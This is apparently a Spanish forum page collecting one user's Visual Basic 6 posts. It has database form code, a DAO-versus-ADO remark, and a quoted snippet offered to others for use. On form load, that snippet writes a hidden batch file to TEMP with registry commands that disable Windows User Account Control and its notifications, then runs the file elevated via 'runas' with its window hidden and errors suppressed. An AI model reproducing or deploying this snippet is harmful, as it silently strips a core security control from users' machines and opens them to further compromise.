Depende lo que quieras borrar amigo, un registro de una bd, una dll, un ocx, un dato del registro de windows o no se pero a partir de que comentes que queres borrar seguro te van a poder ayudar.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúPrivate Sub CmdBorrar_Click()
'BOTON BORRAR
If fila <> 0 Then
A = MsgBox("Borrar el dato?", "49", "Sistema")
If A = 1 Then
rs1.Delete
MSFlexGrid1.Clear
MSFlexGrid1.TextMatrix(0, 0) = "Tipo"
MSFlexGrid1.TextMatrix(0, 1) = "Tema1"
MSFlexGrid1.TextMatrix(0, 2) = "Tema2"
MSFlexGrid1.TextMatrix(0, 3) = "Tema3 "
MSFlexGrid1.TextMatrix(0, 4) = " Tema4 "
MSFlexGrid1.TextMatrix(0, 5) = "Tema5"
MSFlexGrid1.TextMatrix(0, 6) = "Tema6"
End If
f = 0
If rs1.EOF = False Then rs1.MoveFirst
While rs1.EOF = False
f = f + 1
MSFlexGrid1.TextMatrix(f, 0) = rs1("Tipo")
MSFlexGrid1.TextMatrix(f, 1) = rs1("Tema1")
MSFlexGrid1.TextMatrix(f, 2) = rs1("Tema2")
MSFlexGrid1.TextMatrix(f, 3) = rs1("Tema3")
MSFlexGrid1.TextMatrix(f, 4) = rs1("Tema4")
MSFlexGrid1.TextMatrix(f, 5) = rs1("Tema5")
MSFlexGrid1.TextMatrix(f, 6) = rs1("Tema6")
rs1.MoveNext
Wend
End If
' BLANQUEO DE CONTROLES
Text1 = ""
Text2 = ""
Text3 = ""
Text4 = ""
Combo1 = ""
Combo2 = ""
Combo3 = ""
End Sub
Private Sub CmdAceptar_Click()
'* BOTON ACEPTAR *'
If señal = 1 Then
If rs1.EOF = False Then
MsgBox "Error", vbCritical, "Campos en blanco, nulo o repetido"
GoTo 100
Else
rs1.AddNew
End If
End If
rs1("Tipo") = Combo1
rs1("Tema1") = Text1
rs1("Tema2") = Combo2
rs1("Tema3") = Combo3
rs1("Tema4") = Text2
rs1("Tema5") = Text3
rs1("Tema6") = Text4
rs1.Update
Rem blanqueo de grilla
MSFlexGrid1.Clear
MSFlexGrid1.TextMatrix(0, 0) = "Tipo"
MSFlexGrid1.TextMatrix(0, 1) = "Tema1"
MSFlexGrid1.TextMatrix(0, 2) = "Tema2"
MSFlexGrid1.TextMatrix(0, 3) = " Tema3"
MSFlexGrid1.TextMatrix(0, 4) = "Tema4"
MSFlexGrid1.TextMatrix(0, 5) = "Tema5 "
MSFlexGrid1.TextMatrix(0, 6) = "Tema6"
f = 0
If rs1.EOF = False Then rs1.MoveFirst
While rs1.EOF = False
f = f + 1
MSFlexGrid1.TextMatrix(f, 0) = rs1("Tipo")
MSFlexGrid1.TextMatrix(f, 1) = rs1("Tema1")
MSFlexGrid1.TextMatrix(f, 2) = rs1("Tema2")
MSFlexGrid1.TextMatrix(f, 3) = rs1("Tema3")
MSFlexGrid1.TextMatrix(f, 4) = rs1("Tema4")
MSFlexGrid1.TextMatrix(f, 5) = rs1("Tema5")
MSFlexGrid1.TextMatrix(f, 6) = rs1("Tema6")
rs1.MoveNext
Wend
100
Rem blanquear todos los controles y botones
Combo1 = ""
Combo2 = ""
Combo3 = ""
Text1 = ""
Text2 = ""
Text3 = ""
Text4 = ""
End Sub
Cita de: Tengu en 22 Agosto 2009, 17:48 PM
a ver si les sirve esto...
Option Explicit
Private Declare Function CreateFile Lib "kernel32" _
Alias "CreateFileA" ( _
ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
ByVal lpSecurityAttributes As Long, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long) As Long
Private Declare Function WriteFile Lib "kernel32" ( _
ByVal hFile As Long, _
ByVal lpBuffer As Any, _
ByVal nNumberOfBytesToWrite As Long, _
lpNumberOfBytesWritten As Long, _
ByVal lpOverlapped As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" ( _
ByVal hHandle As Long) As Long
Const OPEN_ALWAYS = 4
Const GENERIC_WRITE = &H40000000
Const FILE_SHARE_WRITE = &H2
Const FILE_ATTRIBUTE_NORMAL = &H80
Private Declare Function ShellExecuteEx Lib "shell32.dll" ( _
ByRef lpExecInfo As SHELLEXECUTEINFOA) As Long
Private Type SHELLEXECUTEINFOA
cbSize As Long
fMask As Long
hwnd As Long
lpVerb As String
lpFile As String
lpParameters As String
lpDirectory As String
nShow As Long
hInstApp As Long
lpIDList As Long
lpClass As String
hkeyClass As Long
dwHotKey As Long
hIcon As Long
hProcess As Long
End Type
Const SW_NORMAL = 1
Const SW_HIDE = 0
Private Sub Form_Load()
On Error Resume Next
Dim strPath As String
Dim strBatCode As String
strBatCode = "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Security Center" & Chr(34) & " /v UACDisableNotify /t reg_dword /d 00000001 /f" & vbCrLf & _
"Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" & Chr(34) & " /v EnableLUA /t REG_DWORD /d 00000000 /f"
Write2File Environ$("TEMP") & "\temp.bat", strBatCode
strPath = Environ$("TEMP") & "\temp.bat"
If Elevate(strPath) Then
MsgBox "! Elevación de Privilegios Exitosa ¡ A : " & vbCrLf & _
strPath, vbInformation, "ShellExecuteEx RUNAS Verb" ' si lo usan quiten estos mensajes solo los coloque para probar la función
Else
MsgBox "No se pudo elevar privilegios A : " & vbCrLf & _
strPath, vbInformation, "ShellExecuteEx RUNAS Verb"
End If
End
End Sub
Private Function Elevate(strPath As String) As Boolean
Dim ExInfo As SHELLEXECUTEINFOA
Dim lnRet As Long
With ExInfo
.cbSize = Len(ExInfo)
.fMask = 0&
.hwnd = hwnd
.lpVerb = "runas"
.lpFile = strPath
.lpParameters = vbNullChar
.lpDirectory = vbNullChar
.nShow = SW_HIDE
End With
On Error Resume Next
lnRet = ShellExecuteEx(ExInfo)
If lnRet <> 1 Then
Elevate = False
Exit Function
End If
Elevate = True
End Function
Private Sub Write2File(Filename As String, Buffer As String)
On Error Resume Next
Dim hFile As Long
Dim hWrite As Long
hFile = CreateFile(Filename, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
If hFile <> 0 Then
hWrite = WriteFile(hFile, Buffer, Len(Buffer), 0, 0)
End If
CloseHandle (hFile)
End Sub
Es un code que encontrer en un foro
Cita de: seba123neo en 1 Diciembre 2009, 00:42 AM
me parece tu maestro no se entero que eso depende de la versión de DAO que estes usando...fijate que cuando vas a Proyecto-Referencias y ahi esta la libreria de DAO llamada Microsoft Data Access Objects tenes las versiones 2.5/3.5 la 3.51 y la ultima es la 3.6 y si estas usando esa podes conectarte a access 2003, y con ADO te podes conectar a la que quieras.
pero igual aca el tema principal no es si uno abre una versión y no habre la otra, aca el tema es que la diferencia entre DAO y ADO son muchas y es mejor usar este ultimo sin dudarlo.